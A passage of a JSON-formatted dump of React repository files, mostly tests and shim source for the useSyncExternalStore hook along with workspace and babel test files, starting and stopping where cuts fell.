store.set({\n            value: 1,\n            throwInGetSnapshot: true,\n            throwInIsEqual: false,\n          });\n        });\n      }).rejects.toThrow('Error in getSnapshot');\n    } else {\n      await act(() => {\n        store.set({\n          value: 1,\n          throwInGetSnapshot: true,\n          throwInIsEqual: false,\n        });\n      });\n    }\n    assertLog(\n      gate(flags => flags.enableUseSyncExternalStoreShim)\n        ? ['Error in getSnapshot']\n        : [\n            'Error in getSnapshot',\n            // In a concurrent root, React renders a second time to attempt to\n            // recover from the error.\n            'Error in getSnapshot',\n          ],\n    );\n    expect(container.textContent).toEqual('Error in getSnapshot');\n  });\n  it('Infinite loop if getSnapshot keeps returning new reference', async () => {\n    const store = createExternalStore({});\n    function App() {\n      const text = useSyncExternalStore(store.subscribe, () => ({}));\n      return React.createElement(Text, {\n        text: JSON.stringify(text),\n      });\n    }\n    const container = document.createElement('div');\n    const root = createRoot(container);\n    await expect(async () => {\n      await act(() => {\n        ReactDOM.flushSync(async () =>\n          root.render(React.createElement(App, null)),\n        );\n      });\n    }).rejects.toThrow(\n      'Maximum update depth exceeded. This can happen when a component repeatedly ' +\n        'calls setState inside componentWillUpdate or componentDidUpdate. React limits ' +\n        'the number of nested updates to prevent infinite loops.',\n    );\n\n    assertConsoleErrorDev(\n      gate(flags => flags.enableUseSyncExternalStoreShim)\n        ? [\n            'The result of getSnapshot should be cached to avoid an infinite loop',\n            'Error: Maximum update depth exceeded. ' +\n              'This can happen when a component repeatedly calls setState inside componentWillUpdate or componentDidUpdate. ' +\n              'React limits the number of nested updates to prevent infinite loops.' +\n              '\\n    in <stack>',\n            'The above error occurred in the <App> component:\\n\\n' +\n              '    in App (at **)\\n\\n' +\n              'Consider adding an error boundary to your tree to customize error handling behavior.\\n' +\n              'Visit https://reactjs.org/link/error-boundaries to learn more about error boundaries.',\n          ]\n        : [\n            'The result of getSnapshot should be cached to avoid an infinite loop' +\n              '\\n    in App (at **)',\n          ],\n    );\n  });\n  it('getSnapshot can return NaN without infinite loop warning', async () => {\n    const store = createExternalStore('not a number');\n    function App() {\n      const value = useSyncExternalStore(store.subscribe, () =>\n        parseInt(store.getState(), 10),\n      );\n      return React.createElement(Text, {\n        text: value,\n      });\n    }\n    const container = document.createElement('div');\n    const root = createRoot(container);\n\n    // Initial render that reads a snapshot of NaN. This is OK because we use\n    // Object.is algorithm to compare values.\n    await act(() => root.render(React.createElement(App, null)));\n    expect(container.textContent).toEqual('NaN');\n    assertLog([NaN]);\n\n    // Update to real number\n    await act(() => store.set(123));\n    expect(container.textContent).toEqual('123');\n    assertLog([123]);\n\n    // Update back to NaN\n    await act(() => store.set('not a number'));\n    expect(container.textContent).toEqual('NaN');\n    assertLog([NaN]);\n  });\n  describe('extra features implemented in user-space', () => {\n    it('memoized selectors are only called once per update', async () => {\n      const store = createExternalStore({\n        a: 0,\n        b: 0,\n      });\n      function selector(state) {\n        Scheduler.log('Selector');\n        return state.a;\n      }\n      function App() {\n        Scheduler.log('App');\n        const a = useSyncExternalStoreWithSelector(\n          store.subscribe,\n          store.getState,\n          null,\n          selector,\n        );\n        return React.createElement(Text, {\n          text: 'A' + a,\n        });\n      }\n      const container = document.createElement('div');\n      const root = createRoot(container);\n      await act(() => root.render(React.createElement(App, null)));\n      assertLog(['App', 'Selector', 'A0']);\n      expect(container.textContent).toEqual('A0');\n\n      // Update the store\n      await act(() => {\n        store.set({\n          a: 1,\n          b: 0,\n        });\n      });\n      assertLog([\n        // The selector runs before React starts rendering\n        'Selector',\n        'App',\n        // And because the selector didn't change during render, we can reuse\n        // the previous result without running the selector again\n        'A1',\n      ]);\n      expect(container.textContent).toEqual('A1');\n    });\n    it('Using isEqual to bailout', async () => {\n      const store = createExternalStore({\n        a: 0,\n        b: 0,\n      });\n      function A() {\n        const {a} = useSyncExternalStoreWithSelector(\n          store.subscribe,\n          store.getState,\n          null,\n          state => ({\n            a: state.a,\n          }),\n          (state1, state2) => state1.a === state2.a,\n        );\n        return React.createElement(Text, {\n          text: 'A' + a,\n        });\n      }\n      function B() {\n        const {b} = useSyncExternalStoreWithSelector(\n          store.subscribe,\n          store.getState,\n          null,\n          state => {\n            return {\n              b: state.b,\n            };\n          },\n          (state1, state2) => state1.b === state2.b,\n        );\n        return React.createElement(Text, {\n          text: 'B' + b,\n        });\n      }\n      function App() {\n        return React.createElement(\n          React.Fragment,\n          null,\n          React.createElement(A, null),\n          React.createElement(B, null),\n        );\n      }\n      const container = document.createElement('div');\n      const root = createRoot(container);\n      await act(() => root.render(React.createElement(App, null)));\n      assertLog(['A0', 'B0']);\n      expect(container.textContent).toEqual('A0B0');\n\n      // Update b but not a\n      await act(() => {\n        store.set({\n          a: 0,\n          b: 1,\n        });\n      });\n      // Only b re-renders\n      assertLog(['B1']);\n      expect(container.textContent).toEqual('A0B1');\n\n      // Update a but not b\n      await act(() => {\n        store.set({\n          a: 1,\n          b: 1,\n        });\n      });\n      // Only a re-renders\n      assertLog(['A1']);\n      expect(container.textContent).toEqual('A1B1');\n    });\n    it('basic server hydration', async () => {\n      const store = createExternalStore('client');\n      const ref = React.createRef();\n      function App() {\n        const text = useSyncExternalStore(\n          store.subscribe,\n          store.getState,\n          () => 'server',\n        );\n        useEffect(() => {\n          Scheduler.log('Passive effect: ' + text);\n        }, [text]);\n        return React.createElement(\n          'div',\n          {\n            ref: ref,\n          },\n          React.createElement(Text, {\n            text: text,\n          }),\n        );\n      }\n      const container = document.createElement('div');\n      container.innerHTML = '<div>server</div>';\n      const serverRenderedDiv = container.getElementsByTagName('div')[0];\n      if (gate(flags => !flags.enableUseSyncExternalStoreShim)) {\n        await act(() => {\n          ReactDOMClient.hydrateRoot(container, React.createElement(App, null));\n        });\n        assertLog([\n          // First it hydrates the server rendered HTML\n          'server',\n          'Passive effect: server',\n          // Then in a second paint, it re-renders with the client state\n          'client',\n          'Passive effect: client',\n        ]);\n      } else {\n        // In the userspace shim, there's no mechanism to detect whether we're\n        // currently hydrating, so `getServerSnapshot` is not called on the\n        // client. To avoid this server mismatch warning, user must account for\n        // this themselves and return the correct value inside `getSnapshot`.\n        await act(() => {\n          ReactDOM.hydrate(React.createElement(App, null), container);\n        });\n        assertConsoleErrorDev([\n          'Warning: Text content did not match. Server: \"server\" Client: \"client\"\\n' +\n            '    in Text (at **)\\n' +\n            '    in div (at **)\\n' +\n            '    in App (at **)',\n        ]);\n        assertLog(['client', 'Passive effect: client']);\n      }\n      expect(container.textContent).toEqual('client');\n      expect(ref.current).toEqual(serverRenderedDiv);\n    });\n  });\n  it('regression test for #23150', async () => {\n    const store = createExternalStore('Initial');\n    function App() {\n      const text = useSyncExternalStore(store.subscribe, store.getState);\n      const [derivedText, setDerivedText] = useState(text);\n      useEffect(() => {}, []);\n      if (derivedText !== text.toUpperCase()) {\n        setDerivedText(text.toUpperCase());\n      }\n      return React.createElement(Text, {\n        text: derivedText,\n      });\n    }\n    const container = document.createElement('div');\n    const root = createRoot(container);\n    await act(() => root.render(React.createElement(App, null)));\n    assertLog(['INITIAL']);\n    expect(container.textContent).toEqual('INITIAL');\n    await act(() => {\n      store.set('Updated');\n    });\n    assertLog(['UPDATED']);\n    expect(container.textContent).toEqual('UPDATED');\n  });\n  it('compares selection to rendered selection even if selector changes', async () => {\n    const store = createExternalStore({\n      items: ['A', 'B'],\n    });\n    const shallowEqualArray = (a, b) => {\n      if (a.length !== b.length) {\n        return false;\n      }\n      for (let i = 0; i < a.length; i++) {\n        if (a[i] !== b[i]) {\n          return false;\n        }\n      }\n      return true;\n    };\n    const List = React.memo(({items}) => {\n      return React.createElement(\n        'ul',\n        null,\n        items.map(text =>\n          React.createElement(\n            'li',\n            {\n              key: text,\n            },\n            React.createElement(Text, {\n              key: text,\n              text: text,\n            }),\n          ),\n        ),\n      );\n    });\n    function App({step}) {\n      const inlineSelector = state => {\n        Scheduler.log('Inline selector');\n        return [...state.items, 'C'];\n      };\n      const items = useSyncExternalStoreWithSelector(\n        store.subscribe,\n        store.getState,\n        null,\n        inlineSelector,\n        shallowEqualArray,\n      );\n      return React.createElement(\n        React.Fragment,\n        null,\n        React.createElement(List, {\n          items: items,\n        }),\n        React.createElement(Text, {\n          text: 'Sibling: ' + step,\n        }),\n      );\n    }\n    const container = document.createElement('div');\n    const root = createRoot(container);\n    await act(() => {\n      root.render(\n        React.createElement(App, {\n          step: 0,\n        }),\n      );\n    });\n    assertLog(['Inline selector', 'A', 'B', 'C', 'Sibling: 0']);\n    await act(() => {\n      root.render(\n        React.createElement(App, {\n          step: 1,\n        }),\n      );\n    });\n    assertLog([\n      // We had to call the selector again because it's not memoized\n      'Inline selector',\n      // But because the result was the same (according to isEqual) we can\n      // bail out of rendering the memoized list. These are skipped:\n      // 'A',\n      // 'B',\n      // 'C',\n\n      'Sibling: 1',\n    ]);\n  });\n  describe('selector and isEqual error handling in extra', () => {\n    let ErrorBoundary;\n    beforeEach(() => {\n      ErrorBoundary = class extends React.Component {\n        state = {\n          error: null,\n        };\n        static getDerivedStateFromError(error) {\n          return {\n            error,\n          };\n        }\n        render() {\n          if (this.state.error) {\n            return React.createElement(Text, {\n              text: this.state.error.message,\n            });\n          }\n          return this.props.children;\n        }\n      };\n    });\n    it('selector can throw on update', async () => {\n      const store = createExternalStore({\n        a: 'a',\n      });\n      const selector = state => {\n        if (typeof state.a !== 'string') {\n          throw new TypeError('Malformed state');\n        }\n        return state.a.toUpperCase();\n      };\n      function App() {\n        const a = useSyncExternalStoreWithSelector(\n          store.subscribe,\n          store.getState,\n          null,\n          selector,\n        );\n        return React.createElement(Text, {\n          text: a,\n        });\n      }\n      const container = document.createElement('div');\n      const root = createRoot(container);\n      await act(() =>\n        root.render(\n          React.createElement(\n            ErrorBoundary,\n            null,\n            React.createElement(App, null),\n          ),\n        ),\n      );\n      assertLog(['A']);\n      expect(container.textContent).toEqual('A');\n      if (__DEV__ && gate(flags => flags.enableUseSyncExternalStoreShim)) {\n        // In 17, the error is re-thrown in DEV.\n        await expect(async () => {\n          await act(() => {\n            store.set({});\n          });\n        }).rejects.toThrow('Malformed state');\n      } else {\n        await act(() => {\n          store.set({});\n        });\n      }\n      expect(container.textContent).toEqual('Malformed state');\n    });\n    it('isEqual can throw on update', async () => {\n      const store = createExternalStore({\n        a: 'A',\n      });\n      const selector = state => state.a;\n      const isEqual = (left, right) => {\n        if (typeof left.a !== 'string' || typeof right.a !== 'string') {\n          throw new TypeError('Malformed state');\n        }\n        return left.a.trim() === right.a.trim();\n      };\n      function App() {\n        const a = useSyncExternalStoreWithSelector(\n          store.subscribe,\n          store.getState,\n          null,\n          selector,\n          isEqual,\n        );\n        return React.createElement(Text, {\n          text: a,\n        });\n      }\n      const container = document.createElement('div');\n      const root = createRoot(container);\n      await act(() =>\n        root.render(\n          React.createElement(\n            ErrorBoundary,\n            null,\n            React.createElement(App, null),\n          ),\n        ),\n      );\n      assertLog(['A']);\n      expect(container.textContent).toEqual('A');\n      if (__DEV__ && gate(flags => flags.enableUseSyncExternalStoreShim)) {\n        // In 17, the error is re-thrown in DEV.\n        await expect(async () => {\n          await act(() => {\n            store.set({});\n          });\n        }).rejects.toThrow('Malformed state');\n      } else {\n        await act(() => {\n          store.set({});\n        });\n      }\n      expect(container.textContent).toEqual('Malformed state');\n    });\n  });\n});\n"
  },
  {
    "path": "packages/use-sync-external-store/src/__tests__/useSyncExternalStoreShimServer-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n *\n * @jest-environment node\n */\n\n'use strict';\n\nlet useSyncExternalStore;\nlet React;\nlet ReactDOM;\nlet ReactDOMServer;\nlet Scheduler;\nlet assertLog;\n\n// This tests the userspace shim of `useSyncExternalStore` in a server-rendering\n// (Node) environment\ndescribe('useSyncExternalStore (userspace shim, server rendering)', () => {\n  beforeEach(() => {\n    jest.resetModules();\n\n    // Remove useSyncExternalStore from the React imports so that we use the\n    // shim instead. Also removing startTransition, since we use that to detect\n    // outdated 18 alphas that don't yet include useSyncExternalStore.\n    //\n    // Longer term, we'll probably test this branch using an actual build of\n    // React 17.\n    jest.mock('react', () => {\n      const {\n        startTransition: _,\n        useSyncExternalStore: __,\n        ...otherExports\n      } = jest.requireActual('react');\n      return otherExports;\n    });\n\n    React = require('react');\n    ReactDOM = require('react-dom');\n    ReactDOMServer = require('react-dom/server');\n    Scheduler = require('scheduler');\n\n    const InternalTestUtils = require('internal-test-utils');\n    assertLog = InternalTestUtils.assertLog;\n\n    useSyncExternalStore =\n      require('use-sync-external-store/shim').useSyncExternalStore;\n  });\n\n  function Text({text}) {\n    Scheduler.log(text);\n    return text;\n  }\n\n  function createExternalStore(initialState) {\n    const listeners = new Set();\n    let currentState = initialState;\n    return {\n      set(text) {\n        currentState = text;\n        ReactDOM.unstable_batchedUpdates(() => {\n          listeners.forEach(listener => listener());\n        });\n      },\n      subscribe(listener) {\n        listeners.add(listener);\n        return () => listeners.delete(listener);\n      },\n      getState() {\n        return currentState;\n      },\n      getSubscriberCount() {\n        return listeners.size;\n      },\n    };\n  }\n\n  it('basic server render', async () => {\n    const store = createExternalStore('client');\n\n    function App() {\n      const text = useSyncExternalStore(\n        store.subscribe,\n        store.getState,\n        () => 'server',\n      );\n      return <Text text={text} />;\n    }\n\n    const html = ReactDOMServer.renderToString(<App />);\n\n    // We don't call getServerSnapshot in the shim\n    assertLog(['client']);\n    expect(html).toEqual('client');\n  });\n});\n"
  },
  {
    "path": "packages/use-sync-external-store/src/forks/isServerEnvironment.native.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport const isServerEnvironment = false;\n"
  },
  {
    "path": "packages/use-sync-external-store/src/forks/useSyncExternalStore.forward-to-built-in.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n'use strict';\n\n// Intentionally not using named imports because Rollup uses dynamic\n// dispatch for CommonJS interop named imports.\nimport * as React from 'react';\n\nexport const useSyncExternalStore = React.useSyncExternalStore;\n"
  },
  {
    "path": "packages/use-sync-external-store/src/forks/useSyncExternalStore.forward-to-shim.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n'use strict';\n\n// Intentionally not using named imports because Rollup uses dynamic\n// dispatch for CommonJS interop named imports.\nimport * as shim from 'use-sync-external-store/shim';\n\nexport const useSyncExternalStore = shim.useSyncExternalStore;\n"
  },
  {
    "path": "packages/use-sync-external-store/src/isServerEnvironment.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport {canUseDOM} from 'shared/ExecutionEnvironment';\n\nexport const isServerEnvironment = !canUseDOM;\n"
  },
  {
    "path": "packages/use-sync-external-store/src/useSyncExternalStore.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n'use strict';\n\n// Intentionally not using named imports because Rollup uses dynamic\n// dispatch for CommonJS interop named imports.\nimport * as React from 'react';\n\nexport const useSyncExternalStore = React.useSyncExternalStore;\n\nif (__DEV__) {\n  // Avoid transforming the `console.error` call as it would cause the built artifact\n  // to access React internals, which exist under different paths depending on the\n  // React version.\n  console['error'](\n    \"The main 'use-sync-external-store' entry point is not supported; all it \" +\n      \"does is re-export useSyncExternalStore from the 'react' package, so \" +\n      'it only works with React 18+.' +\n      '\\n\\n' +\n      'If you wish to support React 16 and 17, import from ' +\n      \"'use-sync-external-store/shim' instead. It will fall back to a shimmed \" +\n      'implementation when the native one is not available.' +\n      '\\n\\n' +\n      \"If you only support React 18+, you can import directly from 'react'.\",\n  );\n}\n"
  },
  {
    "path": "packages/use-sync-external-store/src/useSyncExternalStoreShim.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport {useSyncExternalStore as client} from './useSyncExternalStoreShimClient';\nimport {useSyncExternalStore as server} from './useSyncExternalStoreShimServer';\nimport {isServerEnvironment} from './isServerEnvironment';\nimport {useSyncExternalStore as builtInAPI} from 'react';\n\nconst shim = isServerEnvironment ? server : client;\n\nexport const useSyncExternalStore: <T>(\n  subscribe: (() => void) => () => void,\n  getSnapshot: () => T,\n  getServerSnapshot?: () => T,\n) => T = builtInAPI !== undefined ? builtInAPI : shim;\n"
  },
  {
    "path": "packages/use-sync-external-store/src/useSyncExternalStoreShimClient.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\nimport is from 'shared/objectIs';\n\n// Intentionally not using named imports because Rollup uses dynamic\n// dispatch for CommonJS interop named imports.\nconst {useState, useEffect, useLayoutEffect, useDebugValue} = React;\n\nlet didWarnOld18Alpha = false;\nlet didWarnUncachedGetSnapshot = false;\n\n// Disclaimer: This shim breaks many of the rules of React, and only works\n// because of a very particular set of implementation details and assumptions\n// -- change any one of them and it will break. The most important assumption\n// is that updates are always synchronous, because concurrent rendering is\n// only available in versions of React that also have a built-in\n// useSyncExternalStore API. And we only use this shim when the built-in API\n// does not exist.\n//\n// Do not assume that the clever hacks used by this hook also work in general.\n// The point of this shim is to replace the need for hacks by other libraries.\nexport function useSyncExternalStore<T>(\n  subscribe: (() => void) => () => void,\n  getSnapshot: () => T,\n  // Note: The shim does not use getServerSnapshot, because pre-18 versions of\n  // React do not expose a way to check if we're hydrating. So users of the shim\n  // will need to track that themselves and return the correct value\n  // from `getSnapshot`.\n  getServerSnapshot?: () => T,\n): T {\n  if (__DEV__) {\n    if (!didWarnOld18Alpha) {\n      if (React.startTransition !== undefined) {\n        didWarnOld18Alpha = true;\n        // Avoid transforming the `console.error` call as it would cause the built artifact\n        // to access React internals, which exist under different paths depending on the\n        // React version.\n        console['error'](\n          'You are using an outdated, pre-release alpha of React 18 that ' +\n            'does not support useSyncExternalStore. The ' +\n            'use-sync-external-store shim will not work correctly. Upgrade ' +\n            'to a newer pre-release.',\n        );\n      }\n    }\n  }\n\n  // Read the current snapshot from the store on every render. Again, this\n  // breaks the rules of React, and only works here because of specific\n  // implementation details, most importantly that updates are\n  // always synchronous.\n  const value = getSnapshot();\n  if (__DEV__) {\n    if (!didWarnUncachedGetSnapshot) {\n      const cachedValue = getSnapshot();\n      if (!is(value, cachedValue)) {\n        // Avoid transforming the `console.error` call as it would cause the built artifact\n        // to access React internals, which exist under different paths depending on the\n        // React version.\n        console['error'](\n          'The result of getSnapshot should be cached to avoid an infinite loop',\n        );\n        didWarnUncachedGetSnapshot = true;\n      }\n    }\n  }\n\n  // Because updates are synchronous, we don't queue them. Instead we force a\n  // re-render whenever the subscribed state changes by updating an some\n  // arbitrary useState hook. Then, during render, we call getSnapshot to read\n  // the current value.\n  //\n  // Because we don't actually use the state returned by the useState hook, we\n  // can save a bit of memory by storing other stuff in that slot.\n  //\n  // To implement the early bailout, we need to track some things on a mutable\n  // object. Usually, we would put that in a useRef hook, but we can stash it in\n  // our useState hook instead.\n  //\n  // To force a re-render, we call forceUpdate({inst}). That works because the\n  // new object always fails an equality check.\n  const [{inst}, forceUpdate] = useState({inst: {value, getSnapshot}});\n\n  // Track the latest getSnapshot function with a ref. This needs to be updated\n  // in the layout phase so we can access it during the tearing check that\n  // happens on subscribe.\n  useLayoutEffect(() => {\n    inst.value = value;\n    inst.getSnapshot = getSnapshot;\n\n    // Whenever getSnapshot or subscribe changes, we need to check in the\n    // commit phase if there was an interleaved mutation. In concurrent mode\n    // this can happen all the time, but even in synchronous mode, an earlier\n    // effect may have mutated the store.\n    if (checkIfSnapshotChanged(inst)) {\n      // Force a re-render.\n      forceUpdate({inst});\n    }\n  }, [subscribe, value, getSnapshot]);\n\n  useEffect(() => {\n    // Check for changes right before subscribing. Subsequent changes will be\n    // detected in the subscription handler.\n    if (checkIfSnapshotChanged(inst)) {\n      // Force a re-render.\n      forceUpdate({inst});\n    }\n    const handleStoreChange = () => {\n      // TODO: Because there is no cross-renderer API for batching updates, it's\n      // up to the consumer of this library to wrap their subscription event\n      // with unstable_batchedUpdates. Should we try to detect when this isn't\n      // the case and print a warning in development?\n\n      // The store changed. Check if the snapshot changed since the last time we\n      // read from the store.\n      if (checkIfSnapshotChanged(inst)) {\n        // Force a re-render.\n        forceUpdate({inst});\n      }\n    };\n    // Subscribe to the store and return a clean-up function.\n    return subscribe(handleStoreChange);\n  }, [subscribe]);\n\n  useDebugValue(value);\n  return value;\n}\n\nfunction checkIfSnapshotChanged<T>(inst: {\n  value: T,\n  getSnapshot: () => T,\n}): boolean {\n  const latestGetSnapshot = inst.getSnapshot;\n  const prevValue = inst.value;\n  try {\n    const nextValue = latestGetSnapshot();\n    return !is(prevValue, nextValue);\n  } catch (error) {\n    return true;\n  }\n}\n"
  },
  {
    "path": "packages/use-sync-external-store/src/useSyncExternalStoreShimServer.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport function useSyncExternalStore<T>(\n  subscribe: (() => void) => () => void,\n  getSnapshot: () => T,\n  getServerSnapshot?: () => T,\n): T {\n  // Note: The shim does not use getServerSnapshot, because pre-18 versions of\n  // React do not expose a way to check if we're hydrating. So users of the shim\n  // will need to track that themselves and return the correct value\n  // from `getSnapshot`.\n  return getSnapshot();\n}\n"
  },
  {
    "path": "packages/use-sync-external-store/src/useSyncExternalStoreWithSelector.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\nimport is from 'shared/objectIs';\nimport {useSyncExternalStore} from 'use-sync-external-store/src/useSyncExternalStore';\n\n// Intentionally not using named imports because Rollup uses dynamic dispatch\n// for CommonJS interop.\nconst {useRef, useEffect, useMemo, useDebugValue} = React;\n\n// Same as useSyncExternalStore, but supports selector and isEqual arguments.\nexport function useSyncExternalStoreWithSelector<Snapshot, Selection>(\n  subscribe: (() => void) => () => void,\n  getSnapshot: () => Snapshot,\n  getServerSnapshot: void | null | (() => Snapshot),\n  selector: (snapshot: Snapshot) => Selection,\n  isEqual?: (a: Selection, b: Selection) => boolean,\n): Selection {\n  type Inst =\n    | {\n        hasValue: true,\n        value: Selection,\n      }\n    | {\n        hasValue: false,\n        value: null,\n      };\n\n  // Use this to track the rendered snapshot.\n  const instRef = useRef<Inst | null>(null);\n  let inst: Inst;\n  if (instRef.current === null) {\n    inst = {\n      hasValue: false,\n      value: null,\n    };\n    instRef.current = inst;\n  } else {\n    inst = instRef.current;\n  }\n\n  const [getSelection, getServerSelection] = useMemo(() => {\n    // Track the memoized state using closure variables that are local to this\n    // memoized instance of a getSnapshot function. Intentionally not using a\n    // useRef hook, because that state would be shared across all concurrent\n    // copies of the hook/component.\n    let hasMemo = false;\n    let memoizedSnapshot;\n    let memoizedSelection: Selection;\n    const memoizedSelector = (nextSnapshot: Snapshot) => {\n      if (!hasMemo) {\n        // The first time the hook is called, there is no memoized result.\n        hasMemo = true;\n        memoizedSnapshot = nextSnapshot;\n        const nextSelection = selector(nextSnapshot);\n        if (isEqual !== undefined) {\n          // Even if the selector has changed, the currently rendered selection\n          // may be equal to the new selection. We should attempt to reuse the\n          // current value if possible, to preserve downstream memoizations.\n          if (inst.hasValue) {\n            const currentSelection = inst.value;\n            if (isEqual(currentSelection, nextSelection)) {\n              memoizedSelection = currentSelection;\n              return currentSelection;\n            }\n          }\n        }\n        memoizedSelection = nextSelection;\n        return nextSelection;\n      }\n\n      // We may be able to reuse the previous invocation's result.\n      const prevSnapshot: Snapshot = (memoizedSnapshot: any);\n      const prevSelection: Selection = (memoizedSelection: any);\n\n      if (is(prevSnapshot, nextSnapshot)) {\n        // The snapshot is the same as last time. Reuse the previous selection.\n        return prevSelection;\n      }\n\n      // The snapshot has changed, so we need to compute a new selection.\n      const nextSelection = selector(nextSnapshot);\n\n      // If a custom isEqual function is provided, use that to check if the data\n      // has changed. If it hasn't, return the previous selection. That signals\n      // to React that the selections are conceptually equal, and we can bail\n      // out of rendering.\n      if (isEqual !== undefined && isEqual(prevSelection, nextSelection)) {\n        // The snapshot still has changed, so make sure to update to not keep\n        // old references alive\n        memoizedSnapshot = nextSnapshot;\n        return prevSelection;\n      }\n\n      memoizedSnapshot = nextSnapshot;\n      memoizedSelection = nextSelection;\n      return nextSelection;\n    };\n    // Assigning this to a constant so that Flow knows it can't change.\n    const maybeGetServerSnapshot =\n      getServerSnapshot === undefined ? null : getServerSnapshot;\n    const getSnapshotWithSelector = () => memoizedSelector(getSnapshot());\n    const getServerSnapshotWithSelector =\n      maybeGetServerSnapshot === null\n        ? undefined\n        : () => memoizedSelector(maybeGetServerSnapshot());\n    return [getSnapshotWithSelector, getServerSnapshotWithSelector];\n  }, [getSnapshot, getServerSnapshot, selector, isEqual]);\n\n  const value = useSyncExternalStore(\n    subscribe,\n    getSelection,\n    getServerSelection,\n  );\n\n  useEffect(() => {\n    // $FlowFixMe[incompatible-type] changing the variant using mutation isn't supported\n    inst.hasValue = true;\n    // $FlowFixMe[incompatible-type]\n    inst.value = value;\n  }, [value]);\n\n  useDebugValue(value);\n  return value;\n}\n"
  },
  {
    "path": "packages/use-sync-external-store/with-selector.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n'use strict';\n\nexport {useSyncExternalStoreWithSelector} from 'use-sync-external-store/src/useSyncExternalStoreWithSelector';\n"
  },
  {
    "path": "react.code-workspace",
    "content": "{\n  \"folders\": [\n    {\n      \"path\": \".\"\n    }\n  ],\n  \"extensions\": {\n    \"recommendations\": [\n      \"dbaeumer.vscode-eslint\",\n      \"editorconfig.editorconfig\",\n      \"esbenp.prettier-vscode\",\n      \"flowtype.flow-for-vscode\"\n    ]\n  },\n  \"settings\": {\n    \"search.exclude\": {\n      \"**/dist/**\": true,\n      \"**/build/**\": true,\n      \"**/out/**\": true,\n      \"*.map\": true,\n      \"*.log\": true\n    },\n    \"javascript.validate.enable\": false,\n    \"editor.formatOnSave\": true,\n    \"editor.defaultFormatter\": \"esbenp.prettier-vscode\",\n    \"flow.pathToFlow\": \"${workspaceFolder}/node_modules/.bin/flow\",\n    \"prettier.configPath\": \"\",\n    \"prettier.ignorePath\": \"\"\n  }\n}\n"
  },
  {
    "path": "scripts/babel/__tests__/transform-lazy-jsx-import-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n'use strict';\n\ndescribe('transform-lazy-jsx-import', () => {\n  it('should use the mocked version of the \"react\" runtime in jsx', () => {\n    jest.resetModules();\n    const mock = jest.fn(type => 'fakejsx: ' + type);\n    if (__DEV__) {\n      jest.mock('react/jsx-dev-runtime', () => {\n        return {\n          jsxDEV: mock,\n        };\n      });\n    } else {\n      jest.mock('react/jsx-runtime', () => ({\n        jsx: mock,\n        jsxs: mock,\n      }));\n    }\n    // eslint-disable-next-line react/react-in-jsx-scope\n    const x = <div />;\n    expect(x).toBe('fakejsx: div');\n    expect(mock).toHaveBeenCalledTimes(1);\n  });\n});\n"
  },
  {
    "path": "scripts/babel/__tests__/transform-prevent-infinite-loops-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n'use strict';\n\ndescribe('transform-prevent-infinite-loops', () => {\n  // Note: instead of testing the transform by applying it,\n  // we assume that it *is* already applied. Since we expect\n  // it to be applied to all our tests.\n\n  it('fails the test for `while` loops', () => {\n    expect(global.infiniteLoopError).toBe(null);\n    expect(() => {\n      while (true) {\n        // do nothing\n      }\n    }).toThrow(RangeError);\n    // Make sure this gets set so the test would fail regardless.\n    expect(global.infiniteLoopError).not.toBe(null);\n    // Clear the flag since otherwise *this* test would fail.\n    global.infiniteLoopError = null;\n  });\n\n  it('fails the test for `for` loops', () => {\n    expect(global.infiniteLoopError).toBe(null);\n    expect(() => {\n      for (;;) {\n        // do nothing\n      }\n    }).toThrow(RangeError);\n    // Make sure this gets set so the test would fail regardless.\n    expect(global.infiniteLoopError).not.toBe(null);\n    // Clear the flag since otherwise *this* test would fail.\n    global.infiniteLoopError = null;\n  });\n});\n"
  },
  {
    "path": "scripts/babel/__tests__/transform-test-gate-pragma-test.js",
